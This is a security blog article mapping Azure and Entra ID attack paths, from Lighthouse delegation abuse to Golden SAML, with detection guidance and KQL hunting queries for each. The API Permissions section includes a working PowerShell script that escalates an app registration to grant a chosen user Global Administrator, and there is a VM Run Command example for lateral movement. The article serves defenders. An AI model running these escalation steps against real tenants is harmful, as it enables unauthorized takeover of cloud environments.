Azure Attack Paths
Creating and maintaining a secure environment is hard. And with every technology or product added to your environment it gets more complicated. Microsoft Azure as a cloud environment is no exception to this rule and with the many services and features that get added every year it just gets more complicated even if you did not change a thing. Because keeping your IT assets secure is important as you move to the cloud, it is important to know which bad practices to avoid and which attack scenarios are out there.
In this blog article I want to shed some light on known attack paths in an Azure environment. The attacks are not new to many, and I relied on public research from other IT security professionals while writing this article. Like with on-premises Active Directory I thought it is important to make this information as easily accessible as possible. To show how different services and permissions can lead to a vulnerable environment is key and having all those information in one place is a good start.
Since attack graphs help to ease some of the complexity, I based my overview of the different attack paths on this model.
Depending on the information included in the published work for each attack path, I limited my writeup to a brief attack description, and you will have to read the original articles for the nitty-gritty details and in-depth explanations. I don’t want to just replicate the original authors work, but create a starting point for everybody out there. If I did not find the information I was looking for, I included a more detailed description in this article.
Map
Please feel free to contact me on Twitter. DMs are open and I’m happy to extend this article over time..
You can download this overview in different formats:
Azure Lighthouse
Attack Description
Azure Lighthouse is on its own a legitimate way to manage resources in other tenants. But an attacker could trick an administrator or use a hijacked account to accept the delegated permission request.
To achieve this the attacker creates a custom template with the needed role definition. Note that you can’t use Owner or any built-in role with DataActions permissions.
The resulting template must be deployed within the target tenant. A separate deployment is necessary for each subscription. The attacker could use Azure Policy to deploy this in an automated fashion.
After this deployment is done the attacker can access the resources in target tenant subscription from her own tenant. Because the attacker has Contributor access an attack path like Invoke-AzVMRunCommand
is possible.
From the attackers side you can view your customers in the respective blade in the Azure Portal.
Attack Path
Detection
The original deployment is visible but can also be deleted from the Deployments section in the subscription.
A better way to detect this kind of attack is to check for unexpected assignment of a Microsoft.ManagedServices
registration. Check the hunting query for this.
In the target tenant you can also check which service offers are currently active through PowerShell or in the Azure Portal.
Get-AzManagedServicesDefinition
Get-AzManagedServicesAssignment
What might be a problem in the current preview state of the service but makes detection a bit harder is the RBAC view for the attacked subscription. There is no mention of the additional Contributor.
All actions initiated by the attacker are logged in the activity logs as well.
Hunting Queries
Query for Microsoft.ManagedServices
registrations.
AzureActivity
| where OperationNameValue =~ "Microsoft.ManagedServices/registrationAssignments/Write"
| extend timestamp = TimeGenerated, AccountCustomEntity = Caller, IPCustomEntity = CallerIpAddress
To check for any operation done by a user from another tenant
let HomeTenantId = "YOURTENANTID";
AzureActivity
| extend TenantId = todynamic(Claims).['http://schemas.microsoft.com/identity/claims/tenantid']
| where TenantId != HomeTenantId
| where isnotempty( TenantId )
| sort by TimeGenerated
Additional information
- Role support for Azure Lighthouse
- Recommended security practices
- Securing Azure Lighthouse with Azure Policy and Azure Privileged Identity Management for MSP’s and customers
Delegated Administrative Privileges
Attack Description
The concept of delegated administrative privileges for partners is something that was established for Cloud Solution Providers (CSP). They can offer licenses and services to customers and on the other hand take over first and second level support for those customers and services.
The idea was great, but what most customers don’t knew was that the CSP gained Global Admin permissions in their tenant. And the customer has no way to control which user of the partner access their data. Only the partner could implement a role-based access concept. And even this is mostly an all or nothing approach that does not allow to differentiate between customers only between roles.
This came to haunt Microsoft when NOBELIUM started to target CSPs with delegated administrative privileges.
In February of 2022 Microsoft released granular delegated admin privileges (GDAP) to mitigate those far reaching permissions.
Attack Path
Detection
Check your partners in the Microsoft Admin Center and remove unneeded permissions. They still can offer you licenses and support.
Use Azure Lighthouse or direct Azure RBAC assignments were needed.
This is also what Microsoft recommends to their partners.
Additional information
- Microsoft partners: The Good, The Bad, or The Ugly? by Dr. Nestori Syynimaa (@DrAzureAD)
- NOBELIUM targeting delegated administrative privileges to facilitate broader attacks
API Permissions
Attack Description
Enterprise Applications and applications registrations are a fundamental part of Entra ID (Azure AD). A big part of application management in Entra ID (Azure AD) is around granting the right permissions for the used applications.
Granting an application app permissions gives the app access to this Graph Endpoints and related data sets regardless of if a user is logged in or nor. The app can use app secrets or certificates to authenticate against the service and access the data.
Some permissions grant extensive permission and are potentially harmful. Depending on the permissions already gained in the environment an attacker can add a custom app registration, grant those additional permissions and use this application as a backdoor to the tenant.
Watch out for the following permissions and remove them if possible.
- Application.ReadWrite.All - Grants the application the permission to act as other entities.
- AppRoleAssignment.ReadWrite.All - Grants the application the permission to grant additional privileges to itself.
- RoleManagement.ReadWrite.Directory - Grants the application the permission to grant additional privileges to itself, other applications, or any user.
Attack script
In my talk at the Cloud Identiy Summit 2022, I demonstrated how to abuse this attack path using the Microsoft.Graph module. You need a app registration which you grant the permission Application.ReadWrite.All
. Then assign any (really) user as owner.
# Create a self signed certificate
$AppDisplayName = "Abuse of API Permissions"
$cert = New-SelfSignedCertificate -CertStoreLocation "Cert:\CurrentUser\My" -Subject "CN=$($AppDisplayName)" -KeySpec KeyExchange -NotAfter (Get-Date).AddDays(2)
Export-Certificate -Cert $cert -FilePath ~\Downloads\AppRoleAssignment.cer
# Sign in with the user that has owner permissions and add the exported public certificate as a secret to the app registration
# Modify the following variables to match your environment
$ClientId = "GUID"
$servicePrincipalId = "GUID"
$TenantId = "GUID"
$TargetUserUPN = "UPNOfAnyUser" # Will be GA at the end of this script
# Connect as the application using the the certificate as a secret
Connect-MgGraph -ClientId $ClientId -CertificateThumbprint $cert.Thumbprint -TenantId $TenantId
# Check you permission scopes
Get-MgContext
# Add additional permissions to the app
$appRoleAssignments = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments" | Select-Object -ExpandProperty value
$params = @{
principalId = $servicePrincipalId
resourceId = $appRoleAssignments.resourceId
appRoleId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory
}
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments" -Body $params
$params = @{
principalId = $servicePrincipalId
resourceId = $appRoleAssignments.resourceId
appRoleId = "df021288-bdef-4463-88db-98f22de89214" # User.Read.All
}
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments" -Body $params
# Reconnect to apply the new API permissions
Disconnect-MgGraph
Connect-MgGraph -ClientId $ClientId -CertificateThumbprint $cert.Thumbprint -TenantId $TenantId
# Check the scopes again
Get-MgContext
# Get UserId for the user
$TargetUser = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/users/$TargetUserUPN"
# Add the user to the global admin role
$Reference = @{ "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/" + $TargetUser.id }
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/`$ref" -Body $Reference -ContentType "application/json"
Attack Path
Detection
Use the script AuditAppRoles.ps1 published by Andy Robbins.
Should you prefer a native solution using the Microsoft.Graph module, I adapted the script.
# Connect to Microsoft.Graph
Connect-MgGraph -Scopes "Application.Read.All" -UseDeviceAuthentication
$DangerousAPIPermissions = @{
"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" = "RoleManagement.ReadWrite.Directory -> directly promote yourself to GA"
"06b708a9-e830-4db3-a914-8e69da51d44f" = "AppRoleAssignment.ReadWrite.All -> grant yourself RoleManagement.ReadWrite.Directory, then promote to GA"
"1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9" = "Application.ReadWrite.All -> act as another entity e.g. GA"
}
#region New watchlist items
Write-Verbose "Query tenant applications - https://graph.microsoft.com/v1.0/applications"
$NextUri = "https://graph.microsoft.com/v1.0/applications"
do {
$Result = Invoke-MgGraphRequest -Method Get -Uri $NextUri
$TenantApplications += $Result.'value'
$NextUri = $Result.'@odata.nextLink'
} while ($null -ne $NextUri)
foreach ($TenantApplication in $TenantApplications) {
try {
Write-Verbose "Query Service Principals of application `"$($TenantApplication.displayName)`" - https://graph.microsoft.com/v1.0/servicePrincipals/?`$filter=(appid eq '$($TenantApplication.appId)')"
$ServicePrincipals = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/?`$filter=(appid eq '$($TenantApplication.appId)')" -Verbose:$False
$ServicePrincipals = $ServicePrincipals['value']
foreach ($ServicePrincipal in $ServicePrincipals) {
Write-Verbose "Query role assignment - https://graph.microsoft.com/v1.0/servicePrincipals/$($ServicePrincipal.id)/appRoleAssignments"
$SPRoleAssignments = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$($ServicePrincipal.id)/appRoleAssignments" -Verbose:$False
$SPRoleAssignments = $SPRoleAssignments['value']
foreach ($SPRoleAssignment in $SPRoleAssignments) {
if ( $SPRoleAssignment.appRoleId -in $DangerousAPIPermissions.Keys) {
Write-Verbose "Found high priviledged application `"$($TenantApplication.displayName)`" with role `"$($SPRoleAssignment.appRoleId)`""
# App registrations watchlist entry
[PSCustomObject]@{
"objectId" = $TenantApplication.id
"DisplayName" = $TenantApplication.displayName
"GrantedPermission" = $DangerousAPIPermissions[$SPRoleAssignment.appRoleId]
"Type" = "AppRegistration"
}
[PSCustomObject]@{
"objectId" = $ServicePrincipal.id
"DisplayName" = $ServicePrincipal.displayName
"GrantedPermission" = $DangerousAPIPermissions[$SPRoleAssignment.appRoleId]
"Type" = "ServicePrincipal"
}
}
}
}
} catch {
Continue
}
}
#endregion
If you use Microsoft Defender for Cloud Apps (Microsoft Cloud App Security) in your environment, then there is a built-in alert Unusual addition of credentials to an OAuth app that can be used as an indicator of malicious activity.
Hunting Queries
Use this query to check if any of these dangerous permissions are granted to an application.
let DangerousPermissions = dynamic(["AppRoleAssignment.ReadWrite.All","Application.ReadWrite.All","RoleManagement.ReadWrite.Directory"]);
AuditLogs
| where OperationName == "Add app role assignment to service principal"
| where Result =~ "success"
| mv-expand TargetResources
| mv-expand TargetResources.modifiedProperties
| where TargetResources_modifiedProperties.displayName == "AppRole.Value"
| extend InitiatingUserOrApp = tostring(InitiatedBy.user.userPrincipalName)
| extend InitiatingIpAddress = tostring(InitiatedBy.user.ipAddress)
| extend UserAgent = iff(AdditionalDetails[0].key == "User-Agent",tostring(AdditionalDetails[0].value),"")
| extend AddedPermission = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')
| where AddedPermission in~ ( DangerousPermissions )
| mv-expand TargetResources.modifiedProperties
| where TargetResources_modifiedProperties.displayName == "ServicePrincipal.ObjectID"
| extend ServicePrincipalObjectID = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')
| extend timestamp = TimeGenerated, AccountCustomEntity = InitiatingUserOrApp, IPCustomEntity = InitiatingIpAddress
To identify if any user is added as on owner use the PowerShell script above to identify all apps with those critical permissions. Then create a Sentinel watchlist named HighRiskApps
containing the objectId
and the displayName
of those applications. The objectId
has to be the SearchKey
.
Example
993756fa-a470-4580-af15-544acc2b3888,Cloud Identity Summit Demo RoleManagement.ReadWrite.Directory
f15662f1-641c-4747-b690-a7df80c807da,Cloud Identity Summit Demo AppRoleAssignment.ReadWrite.All
This query will make use of the AuditLogs
in combination with the watchlist.
AuditLogs
| where OperationName == "Add owner to application"
| extend SearchKey = tostring(TargetResources[1].id)
| join kind=inner _GetWatchlist('HighRiskApps') on SearchKey
| extend TargetUser = tostring(TargetResources[0].userPrincipalName)
| extend Actor = tostring(InitiatedBy.user.userPrincipalName)
And last but not least, monitor if a new secret is added to one of those applications.
AuditLogs
| where OperationName has_any ("Add service principal", "Certificates and secrets management")
| where Result =~ "success"
| where tostring(InitiatedBy.user.userPrincipalName) has "@" or tostring(InitiatedBy.app.displayName) has "@"
| extend targetDisplayName = tostring(TargetResources[0].displayName)
| extend targetId = tostring(TargetResources[0].id)
| extend targetType = tostring(TargetResources[0].type)
| extend keyEvents = TargetResources[0].modifiedProperties
| mv-expand keyEvents
| where keyEvents.displayName =~ "KeyDescription"
| extend new_value_set = parse_json(tostring(keyEvents.newValue))
| extend old_value_set = parse_json(tostring(keyEvents.oldValue))
| where old_value_set == "[]"
| mv-expand new_value_set
| parse new_value_set with * "KeyIdentifier=" keyIdentifier:string ",KeyType=" keyType:string ",KeyUsage=" keyUsage:string ",DisplayName=" keyDisplayName:string "]" *
| where keyUsage in ("Verify","")
| extend UserAgent = iff(AdditionalDetails[0].key == "User-Agent",tostring(AdditionalDetails[0].value),"")
| extend InitiatingUserOrApp = iff(isnotempty(InitiatedBy.user.userPrincipalName),tostring(InitiatedBy.user.userPrincipalName), tostring(InitiatedBy.app.displayName))
| extend InitiatingIpAddress = iff(isnotempty(InitiatedBy.user.ipAddress), tostring(InitiatedBy.user.ipAddress), tostring(InitiatedBy.app.ipAddress))
| project-away new_value_set, old_value_set
| project-reorder TimeGenerated, OperationName, InitiatingUserOrApp, InitiatingIpAddress, UserAgent, targetDisplayName, targetId, targetType, keyDisplayName, keyType, keyUsage, keyIdentifier, CorrelationId, TenantId
| join kind=inner _GetWatchlist('HighRiskApps') on $left.targetId == $right.SearchKey
| extend timestamp = TimeGenerated, AccountCustomEntity = InitiatingUserOrApp, IPCustomEntity = InitiatingIpAddress
Additional information
- Azure Privilege Escalation via Azure API Permissions Abuse by Andy Robbins (@_wald0)
- Everything About Service Principals, Applications, And API Permissions by @DebugPrivilege
- Entra ID (Azure AD) privilege escalation - Taking over default application permissions as Application Admin by Dirk-jan Mollema (@_dirkjan)
- Detect and Remediate Illicit Consent Grants
- Delegate app registration permissions in Azure Active Directory
- OAuth app policies
- Tutorial: Investigate and remediate risky OAuth apps
Azure AD Roles
Attack Description
Granting the wrong Entra ID (Azure AD) roles to a user or application can result in an attack path to global admin. Especially the “Privileged Authentication Administrator” role is like granting the user Global admin permissions, since she can reset the password of any GA, modify the MFA settings and take over the account.
The “Privileged Role Administrator” role grants the entity holding it the permission to add additional Entra ID (Azure AD) roles to any user, including the Global Administrator role. This also expands to API permissions and allows the user to grant consent for any permission to any application. See API Permissions to see what an attacker can do with this.
Attack Path
Detection
Hunting Queries
Use the Entra ID (Azure AD) audit log to detect changes to those roles.
let HighPrivRoles = dynamic(["Global Administrator","Company Administrator","Privileged Authentication Administrator","Privileged Role Administrator"]);
AuditLogs
| where OperationName == "Add member to role"
| mv-expand TargetResources
| mv-expand TargetResources.modifiedProperties
| where TargetResources_modifiedProperties.displayName == "Role.DisplayName"
| extend AddedToRole = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')
| where AddedToRole in~ (HighPrivRoles)
| extend Actor = iff(isnotempty(InitiatedBy.user.userPrincipalName),InitiatedBy.user.userPrincipalName,InitiatedBy.app.servicePrincipalId)
| extend TargetUsername = TargetResources.userPrincipalName
You should also monitor any changes to the most privileged roles in your environment.
let HighPrivRoles = dynamic(["Global Administrator", "Company Administrator", "Privileged Authentication Administrator", "Privileged Role Administrator"]);
AuditLogs
| where OperationName == "Reset user password"
| mv-expand TargetResources
| extend TargetUsername = tostring(TargetResources.userPrincipalName)
| join kind=innerunique (
IdentityInfo
| where TimeGenerated > ago(14d)
)
on $left.TargetUsername == $right.AccountUPN
| mv-expand AssignedRoles
| extend AssignedRoles = tostring(AssignedRoles)
| where AssignedRoles in (HighPrivRoles)
| summarize by TimeGenerated, TargetUsername, AssignedRoles, OperationName, AADUserId=AccountObjectId
Additional information
- Azure Privilege Escalation via Service Principal Abuse by Andy Robbins (@_wald0)
- HOWTO: Set an alert to notify when an additional person is assigned the Entra ID (Azure AD) Global Administrator role by Sander Berkouwer @SanderBerkouwer
- Password reset permissions
- Privileged Role Administrator
Elevate Azure Subscription Access
Attack Description
Elevate Azure Subscription Access describes the legit method of using the Global Admin role to gain elevated permissions in your Azure environment.
To achieve this the attacker has already have extended access to your environment. The Global Admin role gives the person who holds it God like permissions in the tenant. Think of it like the Domain Admin in on-premises Active Directory.
The attacker has to enable the setting “Access management for Azure resources” in the Entra ID (Azure AD) properties. This adds the current user to the “User Access Administrator” role on the Tenant root. This allows the attacker to add additional role permissions (Azure RBAC) for her or malicious applications used for persistence on every subscription or management group in the tenant.
Attack Path
Detection
The change of the “Access management for Azure resources” setting will not show up in the subscription audit log nor will it show up in the Entra ID (Azure AD) audit log.
However this change will be logged in the “Directory Activity” log which is accessible through “Monitor”. Switch from “Activity” to “Directory Activity” to view changes.
You can also use this PowerShell to check if there are any users with this kind of role assignment on the root scope.
Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -eq "User Access Administrator" -and $_.Scope -eq "/"}
Hunting Queries
I’m currently not aware of a native way to forward those logs to a Log Analytics workspace or Microsoft Sentinel which would allow to hunt for the action Microsoft.Authorization/elevateAccess/action
.
The Diagnostic Settings option is greyed out in the portal for this log.
Option 1: MDA (MCAS) alert forwarding
Christopher Brumm (@cbrhh) pointed out there is an article explaining how use an alert in Microsoft Defender for Cloud Apps (Microsoft Cloud App Security) and forward this alert to Microsoft Sentinel.
If you have already setup Microsoft Azure as a connector in MDA (MCAS) you can use the following deep link to check your logs.
or if you still want to use the old portal
Option 2: Native Microsoft Sentinel Alert
If you don’t want to define alerts in MDA (MCAS) as well as Microsoft Sentinel Sami Lamppus has a great blog post on how to use the “Microsoft 365 Defender (Preview)” data connector yto stream the raw CloudAppEvents
events to Microsoft Sentinel and build a analytics rule there.
Now you can query the CloudAppEvents
to identify this action. Keep in mind that the raw data ingestion in Microsoft Sentinel is a paid feature, while alert forwarding is free.
For all the details and the analytics query head over to the original blog post.
Additional information
- Keys of the kingdom: Playing God as Global Admin by Dr. Nestori Syynimaa (@DrAzureAD)
- Monitor Elevate Access Activity In Azure by Sami Lamppu (@samilamppu)
- Elevate access to manage all Azure subscriptions and management groups
Azure VM Run Command or Custom Script execution
Attack Description
With foothold in an subscription and a role assignment of Virtual Machine Contributor or any custom role holding the Microsoft.Compute/virtualMachines/*
permission the attacker can execute scripts or PowerShell commands on any virtual machine within this subscription.
This allows her to laterally from your cloud environment to your on-premises environment and if the servers are connected to the internal network move forward from here.
The script sent to the VM resides in the attacker’s computer, or as show in this demo, directly in Azure Cloud Shell.
Invoke-AzVMRunCommand -ResourceGroupName 'RESOURCEGROUP' -Name 'VMNAME' -CommandId 'RunPowerShellScript' -ScriptPath ./runcommand.ps1
Attack Path
Detection
All this activity will be logged in the Subscription activity log as well as on the target machine.
Subscription Activity Log
You can forward your subscription activity log to a central Log Analytics workspace and use Azure Monitor or Microsoft Sentinel to create an alert or incident based on the activity.
Another method is to use the Azure Policy definition Configure Azure Activity logs to stream to specified Log Analytics workspace to automate this configuration on all of your subscriptions.
Virtual machine
The script is executed in the context of the SYSTEM
user and therefore has far reaching permissions within Windows.
Hunting Queries
A simple query to detect this behavior would be this. The make_list
is used because each successful execution has three events. Accept, Start and Success.
Since you can execute this command from the Azure Cloud Shell the ip address might not be the attackers own ip address but a Microsoft one.
AzureActivity
| where CategoryValue == "Administrative"
| where OperationNameValue =~ "Microsoft.Compute/virtualMachines/runCommand/action"
| extend VMName = tostring(todynamic(Properties).resource)
| summarize make_list(ActivityStatusValue), TimeGenerated = max(TimeGenerated) by CorrelationId, CallerIpAddress, Caller, ResourceGroup, VMName
Microsoft itself provides additional and more complex hunting queries for this activity.
- Azure VM Run Command operations executing a unique PowerShell script
- Azure VM Run Command executed from Azure IP address
Additional information
- Keys of the kingdom: Playing God as Global Admin by Dr. Nestori Syynimaa (@DrAzureAD)
- Lateral Movement With Managed Identities Of Azure Virtual Machines by @DebugPrivilege
- Run scripts in your Windows VM by using action Run Commands
- NOBELIUM targeting delegated administrative privileges to facilitate broader attacks
Managed Identities
Attack Description
Managed Identities are a great way to minimize the need to handle credentials and grant permissions to nonhuman entities.
Resources like Virtual machines can be enabled to use system or user-assigned managed identities and this identity then can be granted permissions on other resources.
If you use the virtual machine, you can use the managed identity and therefore access these resources without having knowledge of any credentials.
An attacker can use this for her advantage when the managed identity is granted to many permissions. E.g., a virtual machine with a managed identity that was granted contributor on a subscription can take over the subscription and all resources within the subscription or even move latterly to other virtual machines within this subscription.
Attack Path
Detection
Check you managed identities and their permissions and restrict them to the minimal permissions needed. The principle of least privilege is key here.
You get an overview over all managed identities within the Entra ID (Azure AD) - Enterprise applications blade.
You can use PowerShell to list all RBAC permissions of those managed identities.
$ManagedIdentities = Get-AzADServicePrincipal | ? ServicePrincipalType -eq "ManagedIdentity"
foreach ($ManagedIdentity in $ManagedIdentities) {
Get-AzRoleAssignment -ObjectId $ManagedIdentity.Id
}
Additional information
- Lateral Movement With Managed Identities Of Azure Virtual Machines by @DebugPrivilege
- Detecting privilege escalation with Entra ID (Azure AD) service principals in Microsoft Sentinel by Matt Zorich (@reprise_99)
Desired State Configuration
Attack Description
Desired State Configuration (DSC) is a built-in configuration capability of every Windows Server with at least Windows PowerShell v4. It relies on a central service to provide configurations and an agent on the server (Local Configuration Manager (LCM)) applies those configurations.
Using the Azure Automation State Configuration, you can deploy configuration changes to every Windows server in your environment and therefore this technique can also be used to deploy malicious configurations or backdoors to your servers.
Attack Path
Additional information
- Azure Persistence with Desired State Configurations by Jake Karnes (@jakekarnes42)
- Azure Automation State Configuration overview
Azure Policy with Guest Configuration Service
Attack Description
Azure Policy with Guest Configuration Service is the successor of the Azure Automation State Configuration service and uses the new platform independent version of PowerShell (formerly PowerShell Core).
The attacker can create custom configuration packages and deploy them through native Azure capabilities. In this case she would also have to deploy the Guest Configuration extension to each attacked machine, since this method is not built-in to Windows.
Since this capability is included in Azure Policy the attacker can hide in plain sight, as long as the admins do not watch to close what Azure Policies are getting deployed.
The Guest Configuration extension is running in the SYSTEM
context, so any attack does not have to fiddle with limited privileges on the target machine. As soon as the targeted machine has additional permissions in the Azure environment, through the mandatory system managed identity, the attacker can use this to lateral move in the environment.
Attack Path
Additional information
- Persistence with Azure Policy Guest Configuration
- How to create custom guest configuration package artifacts
Azure Automation Hybrid Runbook Worker
Attack Description
Azure Run As accounts were the default method to add Azure permissions to any Azure Automation account, before managed identities were introduced. Microsoft does not recommend the usage anymore
Run as accounts use certificate-based authentication, this certificate is created automatically including a Run As Connection for easier usage in your automation runbooks.
To use this certificate on a hybrid worker, a machine on-prem or in the cloud that is used to execute your runbooks, without the limitations of the native Azure runbook worker, it must be exported to this machine.
An attacker with access to this machine could extract the certificate including the private key and use it to authenticate against the Azure environment. Depending on the configuration she could use this app identity to access additional resources or even get initial foothold in the target Azure environment.
Attack Path
Additional information
- Abusing Azure Hybrid Workers for Privilege Escalation – Part 1 by Karl Fosaaen @kfosaaen
- How to create an Azure Automation Run As account
- Limit Run As account permissions
AAD Connect - Password reset
Attack Description
When installing Entra ID (Azure AD) Connect to sync your identities from the on-prem environment to Entra ID (Azure AD), a user is created called MSOL_[0-9a-f]{12}
in both directories. This user has extensive permissions in your on-prem and your cloud environment. Also, this user is excluded from security defaults and most companies exclude it from their conditinal access policies.
An attacker, with admin permissions on the Entra ID (Azure AD) Connect server, can extract the password of this user and authenticate against AAD to reset passwords of users. If you sync an on-prem admin account and have granted this user e.g., global admin, the attacker can use this as an entry point to your AAD.
In the on-prem environment the MSOL use, in most cases, has also the ability to reset passwords and even read passwords using DCSync. The attacker now can request the password of the krbtgt
user and use this to create golden or silver Kerberos tickets.
Treat your Entra ID (Azure AD) connect server as you would a domain controller. This is clearly a Tier 0 machine.
Also do not sync any admin users between AD and AAD. Try to establish a trust boundary between those two directories.
In addition to the Microsoft recommendations on hardening, you can go even further and limit the capabilities of the MSOL_
user to those organization units and users that must be synchronized. And krbtgt
is none of those users.
Attack Path
Additional information
- Unnoticed sidekick: Getting access to cloud as an on-prem admin by Dr. Nestori Syynimaa (@DrAzureAD)
- Decrypting ADSync passwords - my journey into DPAPI by Dr. Nestori Syynimaa (@DrAzureAD)
- Shooting Up: On-Prem to Cloud — Detecting “AADConnect” Creds Dump by Krishna (@kirtar_oza)
- Abuse of Entra ID (Azure AD) Connect Sync Service Account by Sami Lamppu (@samilamppu) and Thomas Naunheim (@Thomas_Live)
- Harden your Entra ID (Azure AD) Connect server
- Azure Active Directory Connect Installation with Granular Permissions by Tony Brzoskowski (@tobrz)
AAD Connect - Application takeover
Attack Description
Instead of trying to reset a password of an existing user, the attacker can also use the Microsoft Graph permissions granted to the AAD Connect account, or more specific the Entra ID role “Directory Synchronization Accounts”.
With those permissions the attacker can take ownership of every enterprise application in Microsoft Entra ID (Azure AD) and add new credentials. Depending on the method the attacker chooses to do this, those credentials will not be visible in the portal UI and only via Graph requests.
The added credentials allow the attacker to sign-in using this application and now the attacker has the same permissions as the application. Depending on the granted permissions they could be equivalent to Global Admin.
Attack Path
Detection
To detect this attack you must monitor the Entra ID (Azure AD) SigninLogs
. Any connection from the Azure AD Connect Sync user that is not using the application Id “cb1056e2-e479-49de-ae31-7812af012ed8” or the target resource “Windows Azure Active Directory” must be treated suspiciously.
Hunting Queries
union isfuzzy=true SigninLogs, AADNonInteractiveUserSignInLogs
| where TimeGenerated > ago(90d)
| where UserPrincipalName startswith "Sync_" and UserPrincipalName endswith "onmicrosoft.com"
// Only alert when AppId != Microsoft Azure Active Directory Connect and the ressource is not AAD
| where AppId != "cb1056e2-e479-49de-ae31-7812af012ed8" and ResourceDisplayName != "Windows Azure Active Directory"
More extensive hunting queries and Sentinel Analytics rules can be found in the original blog post on this attack.
Additional information
- From on-prem to Global Admin without password reset
- From (tier) zero to cloud hero - How to pwn Entra ID from on-prem
- Entra ID built-in roles - Directory Synchronization Accounts
Active Directory Federation Server (ADFS)
Attack Description
When the attacker can access the private key material on you Active Directory Federation Server (ADFS), she can create forged SAML responses that are accepted by any service that trusts the ADFS service. Therefore, this attack was initially also named “Golden SAML”, in reference to the golden ticket attack when using Kerberos.
Any user synced from on-prem to the cloud, which is redirected to the ADFS for authentication can be impersonated, without even knowing the password.
As an bonus, this attack might even bypass any MFA requirement, because the forged SAML response could include the necessary information that a MFA was successfully done by the user.
Attack Path
Additional information
- Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps by Shak Reiner (@shakreiner)
- Unnoticed sidekick: Getting access to cloud as an on-prem admin by Dr. Nestori Syynimaa (@DrAzureAD)
- Making the Case for 30-day Token-signing and Token-decrypting Certificates in AD FS by Sander Berkouwer @SanderBerkouwer
- Backdoor Office 365 and Active Directory - Golden SAML by @inversecos
- ADFSpoof by Doug Bienstock (@doughsec)
- Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers
- Detection And Hunting Of Golden SAML Attack
Helpful links, tools and information
I tried to add the most important links to external sources at the end of each attack path, so you can check out which changes may be needed in your environment. But here you will find a few additional information and tools you can use in your environment today.
Should you need a jump start read Security roadmap - Top priorities for the first 30 days, 90 days, and beyond by Microsoft and watch the session on YouTube.
You should also read about Microsofts Security rapid modernization plan, especially “Securing privileged access”.
Tools
AAD Internals
For anything Entra ID (Azure AD) related you should definitely check out the AAD Internals PowerShell module written by Dr. Nestori Syynimaa. It is the most comprehensive toolkit if you want to tamper with your Entra ID (Azure AD) and everything related.
Find it on GitHub and in the PowerShell gallery.
Bloodhound
Bloodhound added support for some Entra ID (Azure AD) based attack paths in November of 2020 and even further support for Azure in March of 2022. It is also a great tool for your on-prem environment.
Slides
Versioning and Updates
- 2022-03-21 - Release of the initial version
- 2022-09-16 - Updated title from Azure Dominance Paths to Azure Attack Paths
- 2022-09-17 - Added link to unified M365 portal in Elevate Azure Subscription Access path
- 2022-09-23 - Added slides, attack examples and Sentinel queries used at Cloud Identiy Summit 2022
- 2022-09-23 - Added new detection for Elevate Azure Subscription Access
- 2023-08-24 - Updated script and fixed wrong permission id
- 2023-09-17 - Added new attack path - “Azure AD Connect - Application takeover”